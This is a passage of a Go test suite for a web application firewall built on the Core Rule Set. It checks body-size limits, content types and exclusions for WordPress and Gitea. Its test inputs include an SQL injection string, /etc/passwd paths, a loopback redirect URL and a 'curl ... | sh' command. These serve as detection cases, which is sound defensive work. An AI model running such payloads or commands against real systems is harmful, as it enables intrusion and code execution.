wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"),
matched(941100, 941160))
wantResult(t, crs,
get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)),
matched(941180))
}
func TestWordPressExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const (
save = "/wp-json/wp/v2/posts/1"
offREST = "/api/posts/1"
length = "Content-Length: 2"
)
crs := readingBodiesUpTo64K(t)
saving := request{http.MethodPost, save, []string{jsonBody, wordpressOverride}}
content := `{"content":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, content, coreruleset.Result{}, content)
// The other fields of the post keep the rule, and so does the same field
// off the REST API.
title := `{"title":"` + wordpressBlock + `"}`
wantBody(t, crs, saving, title, matched(941180), title)
wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content,
matched(941180), content)
// The header X-HTTP-Method-Override is refused off the REST API.
defaults := atDefaults(t)
wantResult(t, defaults,
request{http.MethodPost, save, []string{jsonBody, length, wordpressOverride}},
coreruleset.Result{})
wantResult(t, defaults,
request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}},
matched(920450))
// Signing in: pwd alone skips the list of system files.
signIn := request{http.MethodPost, wpLogin, []string{formData}}
body := "log=a&pwd=b%20%2Fetc%2Fhosts"
wantBody(t, crs, signIn, body, coreruleset.Result{}, body)
body = "log=b%20%2Fetc%2Fhosts&pwd=a"
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
formData = "Content-Type: application/x-www-form-urlencoded"
multipart = "Content-Type: multipart/form-data; boundary=b"
jsonBody = "Content-Type: application/json"
xmlBody = "Content-Type: application/xml"
)
// injection is an SQL injection, which rule 942100 matches.
const injection = "1' OR '1'='1"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// post is a POST request for / with a body of the type contentType, a
// Content-Type header, gives, and headers besides.
func post(contentType string, headers ...string) request {
return request{http.MethodPost, "/", append([]string{contentType}, headers...)}
}
// field is a part of a multipart body: the field name, holding value.
func field(name, value string) string {
return "--b\r\nContent-Disposition: form-data; name=\"" + name + "\"\r\n\r\n" +
value + "\r\n"
}
// end ends a multipart body.
const end = "--b--\r\n"
// padded returns head and tail with as many a's between them as make n
// bytes in all.
func padded(head, tail string, n int) string {
return head + strings.Repeat("a", n-len(head)-len(tail)) + tail
}
// wantBody checks what crs finds in r with body, and that what it read of
// body is read.
func wantBody(
t *testing.T, crs *coreruleset.CoreRuleSet, r request, body string,
want coreruleset.Result,
read string,
) {
t.Helper()
got, gotRead := inspectBody(t, crs, r, body)
if !reflect.DeepEqual(got, want) || gotRead != read {
t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+
"want %+v, reading %d", r.headers, len(body), body, got, len(gotRead),
want, len(read))
}
}
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
t.Parallel()
off, on := atDefaults(t), readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "q=" + url.QueryEscape(injection)},
{multipart, field("q", injection) + end},
{jsonBody, `{"q":"` + injection + `"}`},
{xmlBody, "<q>" + injection + "</q>"},
} {
wantBody(t, off, post(tc.header), tc.body, coreruleset.Result{}, "")
wantBody(t, on, post(tc.header), tc.body, matched(942100), tc.body)
}
}
func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
formData, "q=" + url.QueryEscape(injection) + "&pad=" + pad,
"pad=" + pad + "&q=" + url.QueryEscape(injection),
},
{
multipart, field("q", injection) + field("pad", pad) + end,
field("pad", pad) + field("q", injection) + end,
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyLimit+1])
wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{},
tc.attackLast[:bodyLimit+1])
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit)
}
func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ header, head, tail string }{
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger)
}
}
func TestOtherBodiesAreNotRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// Read as form data, which the Core Rule Set does with a body of a type
// it does not know, this would be an SQL injection.
body := "q=" + url.QueryEscape(injection)
for _, header := range []string{
"Content-Type: application/octet-stream",
"Content-Type: text/plain",
"Content-Type: application/x-git-receive-pack-request",
} {
wantBody(t, crs, post(header), body, coreruleset.Result{}, "")
}
}
func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) {
t.Parallel()
const gzip = "Content-Encoding: gzip"
crs := readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, "a=1"},
{multipart, field("a", "1") + end},
{jsonBody, `{"a":1}`},
{xmlBody, "<a>1</a>"},
} {
wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body)
}
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
// body is read.
fetch := "Content-Type: application/x-git-upload-pack-request"
wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "")
wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "")
}
func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
local := url.QueryEscape("http://127.0.0.1:52341/")
for _, tc := range []struct {
body string
want coreruleset.Result
}{
{"path=.gitignore", coreruleset.Result{}},
{"q=.gitignore", matched(930120)},
{"redirect_uri=" + local, coreruleset.Result{}},
{"next=" + local, matched(931100, 934110)},
} {
wantBody(t, crs, post(formData), tc.body, tc.want, tc.body)
}
body := field("path", ".gitignore") + end
wantBody(t, crs, post(multipart), body, coreruleset.Result{}, body)
body = field("q", ".gitignore") + end
wantBody(t, crs, post(multipart), body, matched(930120), body)
// A JSON body's field is named by its path, here json.path, and is
// checked.
body = `{"path":".gitignore"}`
wantBody(t, crs, post(jsonBody), body, matched(930120), body)
}
func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// A comment that shows a shell command.
const text = "Try `curl -s https://example.org | sh` first."
comment := "content=" + url.QueryEscape(text)
wantBody(t, crs, post(formData), comment, matched(932235), comment)
// An attachment named like a log file.
attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end
wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
}
func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, tc := range []struct{ contentType, body string }{
{"application/atom+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+xml", "<q>" + injection + "</q>"},
{"application/vnd.example+json", `{"q":"` + injection + `"}`},
{"text/json", `{"q":"` + injection + `"}`},
} {
wantBody(t, crs, post("Content-Type: "+tc.contentType), tc.body,
matched(942100), tc.body)
}
}
func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// An end tag after the root element, past which Coraza reads none of
// the body, while an app may still read the attack before it.
body := "<q>" + injection + "</q></r>"
wantBody(t, crs, post(xmlBody), body, matched(900440), body)
// The multipart bodies Coraza cannot parse fail its strict checks too:
// one whose type names its boundary twice, and one with a part header
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
{multipart, noColon},
} {
body = tc.head + field("q", injection) + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body)
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
t.Parallel()
// The limit falls in the middle of the name of the second part's
// header, which Coraza, reading up to the limit, cannot tell from a
// header without a colon.
cut := "--b\r\nContent-Di"
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)))
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
headerLine := "--b\r\nContent-Disposition: form-data; name=\"q\"\r"
// The limit falls between the carriage return and the line feed that
// end the second part's header line, and then between those that end
// the empty line after it. Coraza, reading up to the limit, takes the
// line ending in a lone carriage return for a malformed header.
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut))
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyLimit+1])
}
}
// TestCorazaWritesNoFile is not parallel, since it sets TMPDIR, the
// system's temporary directory, for the whole test process.
func TestCorazaWritesNoFile(t *testing.T) {
// The system's temporary directory is one that does not exist, so that
// Coraza could write nothing there: built without no_fs_access, it
// refuses to load, and could not write a file of a multipart body.
t.Setenv("TMPDIR", filepath.Join(t.TempDir(), "missing"))
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"notes.txt\"\r\nContent-Type: text/plain\r\n\r\n" +
strings.Repeat("a", 1000) + "\r\n" + field("q", injection) + end
wantBody(t, readingBodies(t), post(multipart), body, matched(942100), body)
}
func TestBodyLimitOf1GLoads(t *testing.T) {
t.Parallel()
_, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30})
if err != nil {
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
}
}